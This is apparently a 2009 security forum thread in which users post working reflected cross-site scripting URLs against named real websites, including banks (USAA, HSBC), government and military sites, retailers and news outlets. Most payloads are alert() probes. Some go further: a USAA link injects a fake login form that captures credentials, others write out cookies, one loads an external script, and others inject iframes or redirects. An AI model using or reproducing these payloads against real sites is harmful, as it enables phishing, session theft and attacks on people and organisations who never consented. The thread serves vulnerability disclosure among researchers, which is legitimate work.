@Kyo

That is pretty funny.

-----------------------------------------------------------------------
(ú=(θ='',[µ=!(Φ=!θ+{})+θ,Θ=Φ[ø=+!θ]+Φ[+θ],ĩ=µ[ø],Ø=µ[º=ø+++ø],Ç=Φ[º+ø],à=ú[Φ[º+º]+Φ[+θ]+Ç+ĩ]][Ø+Ç+Θ])())[ĩ+à('•êí')](Ç+à('Á«)'))

http://community.hereignsnetwork.com/service/searchEverything.kickAction?keywords=%22><script>alert(1);</script>&includeVideo=on&includeAudio=on&includePhoto=on&includeBlog=on&includeUser=on&includeGroups=on&includeMessages=on&as=83239

http://www.xssed.com/archive/author=PaPPy/

netcraft.com Anti Phishing Firm Vulnerable to Phishing :)

http://searchdns.netcraft.com/?host=google'"></title><script>alert(1337)</script>'"><marquee><h1>"><script>alert(String.fromCharCode(88,83,83))</script>/h1></marquee>

http://img91.imageshack.us/img91/8910/13857027.jpg

I think was fixed

http://security-sh3ll.blogspot.com/



Edited 1 time(s). Last edit at 04/23/2009 03:27AM by Fugitif.

@Fugitif: very funny, especially since... http://audited.netcraft.com/web-application :)

nEUrOO -- http://rgaucher.info -- http://twitter.com/rgaucher

yahoo

http://buzz.yahoo.com/article/1:cnet_news406:91557c7e67c73cf69b8d944106082074/F-Secure-says-stop-using-Adobe-Acrobat-Reader?action=share&sharedasset=article%2F1:cnet_news406:91557c7e67c73cf69b8d944106082074'"></title><script>alert(1337)</script>><marquee><h1>XSS</h1></marquee>

screen

http://img17.imageshack.us/img17/5395/29496070.jpg

Fugitif Wrote:
-------------------------------------------------------
> yahoo
> screen
>
> http://img17.imageshack.us/img17/5395/29496070.jpg

Wow, that's a speedy fix.

I find these notices much more interesting

hxxp://www.makeet.com/fr/recherche/<script>alert(/pwn/);</script>/index_1.html?filter=recents

nEUrOO -- http://rgaucher.info -- http://twitter.com/rgaucher

redirection service xss: hxxp://ow.ly
enter URL like: http://foobar.com_unique/"><script>alert(/pwn/)</script>

nEUrOO -- http://rgaucher.info -- http://twitter.com/rgaucher

lol blue coat protects companies with firewalls

http://sitereview.bluecoat.com/index.jsp?&host='><script>alert(1);</script>&policy=view

http://www.dia.mil/search.html?keys=%22%20onmouseover%3D%22alert%281%29%3B

and

http://www.wolfram.com/emailchange/?email=%22><script>alert(1);</script>&mid=

http://www.xssed.com/archive/author=PaPPy/



Edited 3 time(s). Last edit at 05/06/2009 04:07PM by PaPPy.

http://blogs.news.com.au/horeyandson/index.php/newscore/comments_form_thread/are_you_getting_the_bandwidth_you_want/1047767/moo?%22%3Cscript%3Ealert(%27xss%27);%3C/script%3E

----------
'Just because you got the bacon, lettuce, and tomato don't mean I'm gonna give you my toast.'

this site allows you to search for copies of your site on the net...?
http://www.copyscape.com/signup.php?pro=1&o=%22></a><script>alert(1);</script>

hxxps://www.usaa.com/inet/ent_edd/CpEdd?action=ReviewDocumentList&filter=Insurance&subfilter='><div id=logonBox><font color=red><b>Please relogin</b></font></red><br><form name=testicles<h6>Online ID</h6><input class="loginField" id="usaaNum" name="usaaNum" type="text" maxlength="20" size="25"><h6>Password</h6><input class="loginField" id="usaaPass" name="usaaPass" type="password" size="25"><button type="button" class="nAction" onclick="alert('Username:' + document.forms[1].usaaNum.value + ' Password:' + document.forms[1].usaaPass.value);">Log On</button><p class="textSmall">Forgot Your <a href=''>Online ID</a> or <a href=''>Password</a>?</p><p class="textSmall"><a href=''><strong>Register with usaa.com</strong></a></p></form></div><!--

Unless you have this bank you cant test it, but when you click it, it redirects you to the front page and stores the value in the cookie named WASReqURL

once you login it asks you for your PIN, and then redirects you to the infected page

i have found several of these XSS bugs on their site and reported, but this one months later remain

this bank is one of the largest amongst military members, so i hope they fix it

and something similar happens here, but they must store it as a session variable
but once you login it redirects, plenty of more where this came from

https://www.my.af.mil/gcss-af/USAF/ep/search.do?command=advanced&databases=AFPORTAL&channelPageId=%22><img%20src=x%20onerror=%22document.write('All%20your%20base%20are%20belong%20to%20me!');%22>

http://www.xssed.com/archive/author=PaPPy/



Edited 5 time(s). Last edit at 05/11/2009 02:45PM by PaPPy.

Oh my https://www.website.ws/kvmlm2/dispatch.dhtml?username=%22%3E%3Cscript%3Ealert(%27tu%20isi%27)%3C/script%3E

https://www.cia.gov/search?NS-search-page=results
postvars:NS-query=';} alert(1); function something(){ //&NS-max-records=20&NS-search-typeNS-boolean-query

tigerdirect
http://www.tigerdirect.com/applications/SearchTools/item-details.asp?EdpNo=4660174&csid=ITD&body=';%0a%7D%20%0aalert(1);%0afunction%20testicles()%7Bvar%20a=%27

and
http://biz.tigerdirect.com/applications/searchtools/item-Details.asp?EdpNo=4240162&sku=CP1-I7-965&body=';%0a%7D%20%0aalert(1);%0afunction%20testicles()%7Bvar%20a=%27

and
http://www.tigerdirect.ca/applications/SearchTools/item-details.asp?EdpNo=4468196&sku=P409-2014&cm_sp=RightNav-_-Spot%2001-_-CatId_7_P409-2014&body=';%0a%7D%20%0aalert(1);%0afunction%20testicles()%7Bvar%20a=%27

and
http://www.misco.co.uk/applications/searchtools/item-details.asp?EdpNo=360043&Tab=0%22><iframe/src=http://google.com><!--&NoMapp=0

and
http://www.misco.fr/search/~query~%22+onunload%3d%22alert(1)%22+~/index.htm

oh tigerdirect
http://www.misco.fr/productinformation/~W79717~WW~testicles%22);%20document.write(document.cookie);%20document.write(%22PaPPy%20was%20here:~/Lecteur%20Audio/Video/Photo%20V-SLIM%204Go%20Noir.htm

http://www.misco.de/search/~query~%22+onunload%3d%22alert(1)%22+~/index.htm

http://www.misco.de/HPSinfo/~147280~WW~testicles%22);%20document.write(document.cookie);%20document.write(%22PaPPy%20was%20here:~/MISCO%20Nr.%20147280%20-%20TomTom%20GO%20940%20LIVE%20inkl.%202%20Jahre%20Kartenaktualisierung.htm

http://www.circuitcity.com/applications/searchtools/item-details.asp?EdpNo=4622464&csid=ITD&body=';%0A%7D%20%0Aalert(1);%0Afunction%20testicles%28%29%7Bvar%20a=%27

same as above, xss on every single item page on tigerdirect

god im bored at work
http://www.officemax.com/catalog/refill/inkNtoner.jsp?brandId=rfbrand24%22><script>alert(1);</script>

http://search.nasa.gov/search/advSearch.jsp?start=&filter=0&spell=&nasaInclude=test&qx=&qt=all&qm=anywhere&dt=at&recPerPg=10&dtype=on&dn1=http%3A%2F%2Fgoogle.com/?mouseover%20here%22+%22+onmouseover%3D%22document.location%3Ddocument.advancedSearchForm01.dn1.value&dn=http%3A%2F%2Fgoogle.com%22+%22+onmouseover%3D%22document.location%3Ddocument.advancedSearchForm01.dn1.value&displayFormat=detail

http://www.xssed.com/archive/author=PaPPy/



Edited 12 time(s). Last edit at 06/23/2009 09:45AM by PaPPy.

http://search.news.com.au/search?q=%3C%2Ftitle%3E%3Cscript+src%3D%27http%3A%2F%2Fha.ckers.org%2Fs.js%27%3E%3C%2Fscript%3E&sid=5001021&us=ndmdailytelegraph&as=NEWS.HOME&ac=DTM

----------
'Just because you got the bacon, lettuce, and tomato don't mean I'm gonna give you my toast.'

http://www.aa.com/aa/contactAA/viewContactAAAccess.do?selectedFileName=%27%29%3B%20alert%281%29%3B%20//

http://www.aa.com/aa/i18nForward.do?locale=es_US&searchString=%20&p=/utility/siteMap/siteMap.jsp&p=/utility/siteMap/siteMap.jsp&toggleSubmitButton=%22><iframe%20src%3D%22http://google.com

(and more to come)

http://www.xssed.com/archive/author=PaPPy/



Edited 1 time(s). Last edit at 05/18/2009 01:30PM by PaPPy.

Oh I just love the Web2.0

http://twitter.com/0x6D6172696F/status/1841455278

Will add unprotected link as soon as the vuln is fixed...

http://www.coolwhois.com/d/%22><img%20src=x%20onerror=%22alert(1);%22>

http://www.xssed.com/archive/author=PaPPy/

http://www.esprit-club.com/newsletter/2009_05_23_PROMO_EU_Women_Must_Haves/de-DE_osub/?id=%22%3E%3Cscript%3Ealert(1)%3C/script%3E

http://www.jugendschutzprogramm.de/checkurl.php?url=%22%3E%3Cscript%3Ealert(/I%20love%20censorship/.source)%3C/script%3E

http://www.circuitcity.com/applications/searchtools/item-details.asp?EdpNo=4622464&csid=ITD&body=';%0A%7D%20%0Aalert(1);%0Afunction%20testicles%28%29%7Bvar%20a=%27

it seems when tigerdirect bought circuitcity.com they just copied over their XSS vulnerable code, as i pointed out above!

http://www.xssed.com/archive/author=PaPPy/

http://slashdot.org/index2.pl?fhfilter=</script><script>alert(1)</script><script>//

or if your logged in
http://slashdot.org/index2.pl?fhfilter=%22></a><iframe%20src=http://google.com>

i tested this on IE7, i cant believe no one has found this before

http://www.xssed.com/archive/author=PaPPy/



Edited 2 time(s). Last edit at 05/26/2009 03:08PM by PaPPy.

usa.visa.com

http://usa.visa.com/cardadvisor/CardAdvisorBusinessSearch?navigation=RESULTS_SUMMARY&QB1=LA&QB2="><script>alert(String.fromCharCode(88,83,83))</script>

archiv.bundestag

http://archiv.bundestag.t-bn.de/Archiv/servlets/Rede/List?q.zuname=%3Cscript%3Ealert(%27xss%27)%3B%3C%2Fscript%3E&q.vorname=&q.fraktion=&q.sitzung=&q.wahlperiode=&q.vonTag=TT.MM.JJJJ&q.bisTag=TT.MM.JJJJ&q.top=&q.run=Suchen

opensource websites are great
http://archiv.bundestag.t-bn.de/Archiv/src/dtag/btag/archiv/

http://www.af.mil/shared/widgets/popup.asp?url=%22></object></embed><script>alert(1);</script>

http://www.airforce.com/search/?find=%22);%20alert(1);%20//

https://secure.airforce.com/contact/index.php?first_nm=%22><script>alert(%22are%20global%20variables%20on?%22);</script>&last_nm=%22><script>alert(%22oh%20and%20btw%20all%20your%20base%20are%20belong%20PaPPy%22);</script>

http://money.cnn.com/quote/chart/chart.html?symb=%22><script>alert(1);</script>
http://money.cnn.com/quote/historical/historical.html?symb=%22><script>alert(1);</script>
http://money.cnn.com/quote/major_holders/major_holders.html?symb=%22><script>alert(1);</script>
http://money.cnn.com/quote/historical/historical.html?symb=%22><script>alert(1);</script>
http://money.cnn.com/quote/news/news.html?mode=news&symb=%22><script>alert(1);</script>
http://money.cnn.com/quote/news/analysis.html?mode=analysis&symb=%22><script>alert(1);</script>
http://money.cnn.com/quote/news/blogs.html?mode=blogs&symb=%22><script>alert(1);</script>
http://money.cnn.com/quote/news/press.html?mode=pressrelease&symb=%22><script>alert(1);</script>
http://money.cnn.com/quote/snapshot/snapshot.html?symb=%22><script>alert(1);</script>
http://money.cnn.com/quote/financials/financials.html?symb=%22><script>alert(1);</script>
http://money.cnn.com/quote/estimates/estimates.html?symb=%22><script>alert(1);</script>
http://money.cnn.com/quote/analyst/analyst.html?symb=%22><script>alert(1);</script>

http://www.xssed.com/archive/author=PaPPy/



Edited 4 time(s). Last edit at 05/28/2009 01:17PM by PaPPy.

Don't know if it fits in here:

http://search.nasa.gov/search/advSearch.jsp?start=&filter=0&spell=&nasaInclude=&qx=&qt=all&qm=anywhere&dt=at&recPerPg=10&dtype=on&dn1=%22+onclick%3D%22javascript%3Aalert(%27SpiderPig,%20Spiderpig,%20does%20whatever%20a%20Spiderpig%20does...%27)%3B%22&dn=%22&displayFormat=detail

You have to click the textfield near "Specify NASA domain:".

cAs Wrote:
-------------------------------------------------------
> Don't know if it fits in here:
>
> http://search.nasa.gov/search/advSearch.jsp?start=
> &filter=0&spell=&nasaInclude=&qx=&qt=all&qm=anywhe
> re&dt=at&recPerPg=10&dtype=on&dn1=%22+onclick%3D%2
> 2javascript%3Aalert(%27SpiderPig,%20Spiderpig,%20d
> oes%20whatever%20a%20Spiderpig%20does...%27)%3B%22
> &dn=%22&displayFormat=detail
>
> You have to click the textfield near "Specify NASA
> domain:".

doesnt seem to work under FF, but does under IE7

http://www.xssed.com/archive/author=PaPPy/

really hsbc?

http://www.us.hsbc.com/1/2/!ut/p/kcxml/04_Sj9SPykssy0xPLMnMz0vM0Y_QjzKLN4o39HcHSZnFm8Qbm-pHoggZxDsiRIL0vfV9PfJzU_UD9AtyQyPKHR0VAURzsdc!/delta/base64xml/L3dJdyEvd0ZNQUFzQUMvNElVRS82XzJfNzFD?isUrlRedirect=yes&urlRedirectCommand=default-command&stype=html&st=1&sq=%22;%20alert(1);%20//

http://www.hsbcdirect.com/1/2/1/default/learn-more/osa?code=%22></a><script>alert(1);</script>

https://www.banking.us.hsbc.com/components/disclaimers/non_hsbc_disclaimer.html?url=javascript%3Aalert%281%29%3B

-dont know if i can turn this into XSS
http://www.us.hsbc.com/1/2/redirect1?SCMCLP=rdadm_CSM0000841&x=&code=CSM0000841&WT.ac=HBUS_CSM0000841&rmax=http://google.com

http://www.xssed.com/archive/author=PaPPy/



Edited 3 time(s). Last edit at 05/29/2009 10:25AM by PaPPy.

PaPPy Wrote:
-------------------------------------------------------
> doesnt seem to work under FF, but does under IE7

Hm, works fine for me:

http://img149.imageshack.us/img149/6585/capturemzu.jpg